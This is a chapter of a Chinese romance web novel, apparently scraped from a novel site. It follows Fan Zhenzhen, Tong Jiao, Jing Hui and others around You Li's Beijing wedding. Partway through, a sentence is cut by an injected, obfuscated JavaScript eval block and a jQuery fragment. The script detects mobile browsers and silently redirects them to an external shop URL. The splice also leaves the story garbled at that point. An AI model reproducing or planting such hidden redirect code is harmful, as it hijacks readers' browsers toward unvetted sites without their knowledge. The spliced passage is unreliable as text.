文趣网 > 其他小说 > 敬此经年 > 27. 第 27 章 故人
    年后的京城在正月初三这天下了第一场雪,挂满大红灯笼的胡同在雪夜的衬托下仿佛回到了旧时代。

    在京城,也只有这样的老胡同年味最浓。

    樊真真从日本回京城陪父母过年,大学毕业后她没留在京城,在日本考取了导游证,一直在当地带着旅游团。

    她父母对这份工作并不满意,她们对她的要求是考个体制内公务员,工作稳定,也能留在京城陪他们。可女儿太执拗,不愿接受他们安排的人生,为此同他们吵了很多架。

    可樊真真这份工作做得很快乐,她本就不是那种喜欢枯坐办公室的人,她爱日本电影,爱日本的风景。

    她从来是个随性自主的人,可控的范围内她一直在主宰自己的人生。

    当年的她率性果敢,如今也沉敛了几分性子,至少男友说她不说话时的确很高冷。

    如今工作稳定,也就是这一年她同父母的关系才和好如从前。

    她已经很久没想起佟皎这个人,直到前阵子见她发了个放烟花的朋友圈。当年的事,宿舍其余人并不知道多少内情,她后来和尤里渐行渐远,没料到她邀请自己参加婚礼。

    尤里扬言邀请了当年宿舍的所有人,希望大家能见证她的幸福。

    樊真真人在京城,没理由不去,也做好了见见故人的准备。

    可却没料到,再见佟皎,不是在尤里的婚礼上。

    彼时佟皎和荆烠刚落地京城不久,两人并没带多少行李,在酒店将行李卸下后,两人出门觅食。

    佟皎对京城不算特别熟悉,只有母校附近那一圈她能像半个当地人一样给荆烠带带路,于是两人决定去那附近吃。

    樊真真父母家离那并不远,她正准备出门溜溜狗顺便带它洗个澡,狗是只狗龄快五岁的贵宾,她不在家时这小家伙填补老人家的空闲。于是她很有眼力见的也给小家伙好脸色。

    在大学路西街那家老牌涮羊肉店看见那个熟悉面孔时,她并不确定那是佟皎,或许也称不上熟悉。

    直到女人又侧了侧身,露出完整面庞给她,樊真真这才确定,隔了半个马路的女人,的确是许久不见的大学室友。

    这位许久不曾联系的故人身旁还有个男人,高她大半个头,目光一直落在她身上。

    樊真真只能看见他半张脸,却也能凭这半张脸断定这是一个很英俊的男人。

    男人很高,与这街上来来往往的行人不同,神色严峻,一眼便能看出不好招惹。

    佟皎和荆烠在等号。看见店招牌上标的总店两字,上网搜了搜,这才发现其实这家涮羊肉在市中心还开了分店。可见实力。

    佟皎自然是没注意到隔着半条街,有个女孩仍一脸纠结地看着她,等到转过身避让一位坐轮椅的大爷时,樊真真已经牵着狗离开了。

    或许两人终于意识到傻傻等在门口太无聊,“要不要逛逛再回来?”

    佟皎点了点头,犹豫了一瞬又去拉荆烠的手,荆烠反握住,将两人的手塞进温暖的大衣口袋里。

    “暖和些了吗?”他问。

    佟皎垂着头,像是在数走了几节地砖。“还好,没有樟城冻人。”

    京城是干燥的冷,樟城是湿骨的寒。

    “走走吧。这边的空气和樟城有没有不一样?”

    荆烠真的吸了吸,不觉得有什么不同。她好像对这座城市既排斥又眷恋。

    也是,这里有有关她而他却未曾参与,未曾迈入的一切。

    可是细想,怎能不心疼她,明明差点就有顺遂的人生,或许也会是站在十字路口斑马线等红灯的万千白领之一。这座城市本可以接纳她。

    他将她的手又攥紧了些。

    ……

    尤里当初那通电话属实让佟皎膈应了一阵儿,而她也并没有拉黑那个号码。佟皎知道,尤里要是存心,联系她找到她都不是难事。

    她当初那么怕她会把她的事说出去,佟皎实在不知道她为什么还敢邀请她参加她的婚礼,尽管她当时已那样不给面子。

    正月初七,拉菲特堡。

    周之珩很紧张,他认识尤里二十多年,从小到大密不可分,她于他,是绝对的比肩家人的存在。

    今日起,亦是。

    今天宾客并没有邀请很多,他和尤里的朋友,两家近亲及商业伙伴,不乏许多有头有脸的人物。

    其实自打尤里出了事,即便尤家口风再紧,也瞒不过他父母。周之珩起初很气愤,再然后只有心疼,如果不是他和她闹脾气,她不会选择和别人合作,她从来只是他一个人的缪斯。至于佟皎,他很可惜,那个倔强的女孩毕竟和他有过一段感情。

    婚期拖到年后,选定的日子不太合理,所幸邀请的人不多。

    尽管他后面又给佟皎寄去请柬,但谁都知道她不会来。

    正在检查最后一丝仪容的尤里也这样想,佟皎不会来的,她那样决绝。

    时至今日,尤里十分后悔当初怂恿周之珩发那个短信,她当时怎么想的呢?

    同情、可怜、施舍。

    她以为佟皎会需要。

    是的,随着年龄增大,她无数次忏悔和原谅自己,仿佛当初心里的那丝挑衅从来就没有存在过。

    半个小时前,她见到了樊真真,两人寒暄了一会儿,也仅仅一会儿,樊真真话不多。

    尤里的伴娘并非她的任何一位大学好友,而是她初中最好的闺蜜邱雨。

    邱雨穿一身淡紫色礼服,斜肩设计,简单而不失优雅,并没有喧宾夺主。而她和尤里除了初中就相识外,关系一直稳固也有两家是生意伙伴的缘故。

    伴郎这个位置,周之珩心里没有什么重要到可以担当这个位置的人,于是听了未婚妻闺蜜的话,将这个位置给了她的心仪对象。

    尽管这个男生有女友,但谁在乎呢。周之珩和尤里都清楚邱雨是怎样的人,自幼锦衣玉食,想要的一定会拿下,若不是结识得早,尤里一定会承认这是个任谁都想远离的主。

    男方拒绝多次,不知为何突然同意,让邱雨一阵欣喜,以为自己终于有了机会。

    邱雨迫不及待想去看看他穿西装的样子,说起来伴郎服也是她亲自挑选的,尤里体贴地给了她这个权利,她想应该会很适合他。

    她离开化妆室,想看看他在哪儿,只是路过宾客席瞥见下方穿着白色礼服那人,一眼便感到晦气。

    父亲居然真把那个女人带来了!

    她盯了几秒又愤懑地收回目光,回到化妆室,气压低到极点。她一屁股坐在尤里旁边的椅子上,腿翘起,摆出了一贯的娇蛮派头。

    化妆师正在给尤里挑耳环,尤里没偏头,仅用余光便看出邱雨的不对劲。

    “怎么了阿雨?”

    邱雨低嘲:“你记得我之前跟你吐槽的那个女人吗?”

    尤里想了想,“你后妈?”

    这句话显然惹邱雨又不高兴,“她也配,一个没学历没谈吐还大我爸两岁的女人,也配进我家。”

    “我不喜欢她,也不喜欢她带来的那个拖油瓶。”

    邱雨做出最后评

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17750157|204863||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    价后似乎还觉得不够,神色也抑制不住的夸张,可意识到化妆师和造型师还在室内,于是压低音量,委屈地向好闺蜜抱怨:“真不知道我爸看上她什么了,跟被下降头了一样。”

    她断言:“我觉得这女人一定不简单。”

    尤里被勾起好奇,附和她:“那我待会儿一定多注意看看你爸旁边那位女士是何方妖孽。”

    化妆师终于敲定好最后戴哪款,镜子里尤里示意满意,做完最后妆造拉起邱雨的手:“好啦,没事儿了,再惨能有我惨?我和之珩的订婚戒指掉了,临时买了一对儿。”

    她在转移话题,邱雨惊讶:“这也太抓马。”又为好友叹了口气:“应急倒是可以,意义不一样了。”

    谁说不是呢,邱雨这话戳中了尤里的痛点。

    不只是婚戒,她还清楚地意识到她和周之珩的感情远没有曾经热烈,从前无疑是他对她的喜欢和偏爱更多,所以她在他那骄纵任性。而后来,他依旧待她特殊,却更像是对家人一样,有了那并不浪漫的责任心。

    她和他很久未争执什么,却让她觉得失去了什么东西。

    当然,这些她都不会告诉邱雨。她不会懂。

    姜骏果不其然在宾客席看到了熟悉的面孔。

    佟皎的母亲,黎梦。

    却并没有看到名单里的佟皎。

    他本没有当这个伴郎的打算,他是有女朋友的人,合该跟邱雨这个同门师妹保持距离。

    他也的确这样做,拒绝她的话说的很清楚。

    如果不是见到她爸和佟皎的母亲来事务所楼下接她,他不会在远离云河的京城见到那个勉强还算熟悉的长辈,至少她的脸并没有苍老多少。

    其实在今日于宾客席上再见到她前,姜骏仍有那么一丝怀疑自己看错了。

    他的思绪发散得很远,想到佟皎,想到荆烠,又想到何小龙。

    想起从前。

    已经很久不联系了,他甚至没有佟皎的号码,也问不了他想问的:“你妈妈再婚了,你也在京城吗?”

    他问不了佟皎,却能向邱雨打探。

    邱雨说起那个女人,毫不掩饰嫌弃与厌恶:“她有个三岁半的儿子,不是我爸的。我爸还没有和她领证,但很护着她,我不理解。”

    说实话,邱雨更不理解的是那个女人除了脸挺有韵味,其他哪儿有魅力了。

    又顿住,心想她爸真是个肤浅的人。

    有个三岁半的儿子?姜骏略一思索,问:“她只有这么一个孩子吗?”

    他收回了原想问的:她没有女儿吗?

    得到的回答让他意外,邱雨也十分不解:“我查到的是她只有一个儿子,生的时候也算是高龄产妇吧。她那个前夫不靠谱,欠高利贷跳楼了。”

    她没说她爸就是那追债的,毕竟又不是她爸给逼的。

    目光拉回此刻,宾客席的女人似乎察觉到他的目光,却只是抬头微笑着点了下头。

    看起来她并没有认出他。

    姜骏心里很复杂,他似乎了有了跟荆烠恢复联系的由头。

    ———你知道佟皎的妈妈吗?我今天见到她了。

    ———叔叔怎么样了?

    ———你还好吗?

    手机就攥在手里,最后他也没给荆烠发消息。

    联系淡了就是淡了,没有矛盾,只是时间推着他们走向了不同的道路,有了道虚拟的名为“渐行渐远”的天堑。姜骏收回目光,转身离开了礼堂。

    黎梦掐着手心,很长时间没抬起头。